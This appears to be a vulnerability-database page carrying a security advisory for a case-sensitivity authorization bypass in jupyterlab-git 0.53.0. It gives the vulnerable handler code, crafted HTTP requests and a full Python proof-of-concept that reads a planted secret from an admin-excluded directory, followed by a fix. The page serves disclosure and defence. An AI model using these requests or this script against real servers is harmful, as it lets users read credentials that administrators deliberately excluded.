Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Network-reachable and authenticated (PR:L); AC:H because exploitation requires a case-insensitive host filesystem and a pre-existing excluded_paths configuration; read-only bypass yields C:H, no integrity or availability impact.
Primary rating from Vendor (https://github.com/jupyterlab/jupyterlab-git).
CVSS VectorVendor: https://github.com/jupyterlab/jupyterlab-git
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 12 pypi packages depend on jupyterlab-git (12 direct, 0 indirect)
Ecosystem-wide dependent count for version 0.54.0.
DescriptionCVE.org
Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment - e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... - gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path):
# ← always case-sensitive
raise tornado.web.HTTPError(404)Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
fnmatch.fnmatchcase("/project/secrets", "/project/secrets")
# True - blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets")
# False - bypasses checkOn macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/contentendpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
- Admin configures
c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"] - Normal request
POST /git/project/secrets/status→ HTTP 404 (blocked) - Attacker requests
POST /git/project/Secrets/status→ HTTP 200 (bypass) - Attacker reads secret:
POST /git/project/Secrets/contentwith{"filename": "./cred.txt", "reference": {"git": "HEAD"}}→ file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler
# real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.environ.copy()
env["JUPYTER_CONFIG_DIR"] = base_dir
env["JUPYTER_DATA_DIR"] = base_dir
proc = subprocess.Popen(
[sys.executable, "-m", "jupyter_server", f"--config={config_path}",
"--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
for _ in range(30):
try:
req = urllib.request.Request(f"{BASE_URL}/api/status",
headers={"Authorization": f"token {TOKEN}"})
if urllib.request.urlopen(req, timeout=2).status == 200:
break
except (urllib.error.URLError, OSError):
pass
time.sleep(0.5)
else:
proc.kill()
shutil.rmtree(base_dir, ignore_errors=True)
sys.exit("server failed to start")
try:
# exclusion works
code, _ = post("project/secrets", "/status")
blocked = code == 404
# bypass
code, _ = post("project/Secrets", "/status")
bypassed = code == 200
# exfiltrate
code, body = post("project/Secrets", "/content",
{"filename": "./cred.txt", "reference": {"git": "HEAD"}})
content = body.get("content", "") if isinstance(body, dict) else ""
exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated
print(f"exclusion enforced (lowercase): {blocked}")
print(f"bypass (case-varied): {bypassed}")
print(f"secret exfiltrated: {exfiltrated}")
print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
return ok
finally:
proc.terminate()
proc.wait(timeout=5)
shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py<img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />
Fix
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
raise tornado.web.HTTPError(404)Or apply os.path.normcase() to both operands before comparison.
AnalysisAI
Authorization bypass in jupyterlab-git 0.53.0 and earlier allows authenticated JupyterLab users to read admin-excluded git directories on case-insensitive filesystems (macOS APFS, Windows NTFS) by altering the case of URL path segments. The GitHandler.prepare() check uses fnmatch.fnmatchcase(), which is unconditionally case-sensitive, while the underlying filesystem resolves case-varied paths to the same location. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires (1) an authenticated session on the target Jupyter server with the jupyterlab-git extension enabled, (2) the server running on a case-insensitive host filesystem - specifically macOS APFS (default) or Windows NTFS; Linux ext4/xfs deployments are not vulnerable, (3) the administrator must have configured `c.JupyterLabGit.excluded_paths` to gate at least one sensitive directory (without this config there is nothing to bypass), and (4) the attacker must know or guess the excluded path name to vary its case. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, 7.1 High) accurately reflects a network-reachable, low-privilege, no-interaction information-disclosure issue with high confidentiality impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated user on a shared JupyterLab server running on macOS or Windows discovers (or guesses) that the admin has excluded `/project/secrets` via `excluded_paths`. They issue `POST /git/project/Secrets/content` with a payload like `{"filename": "./cred.txt", "reference": {"git": "HEAD"}}`; the case-sensitive exclusion check misses the variant, the filesystem resolves it to the same directory, and the server returns the file contents - including any committed credentials, API keys, or secrets in the excluded path's git history. … |
| Remediation | Vendor-released patch: upgrade jupyterlab-git to 0.54.0 or later via `pip install -U jupyterlab-git>=0.54.0` and restart the Jupyter server; this replaces `fnmatch.fnmatchcase()` with case-normalized matching (e.g. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all JupyterLab deployments to identify systems running jupyterlab-git 0.53.0 or earlier, prioritizing Windows and macOS installations with admin-excluded directories. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-178 – Improper Handling of Case Sensitivity
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-42429
GHSA-436q-jwfr-rm2h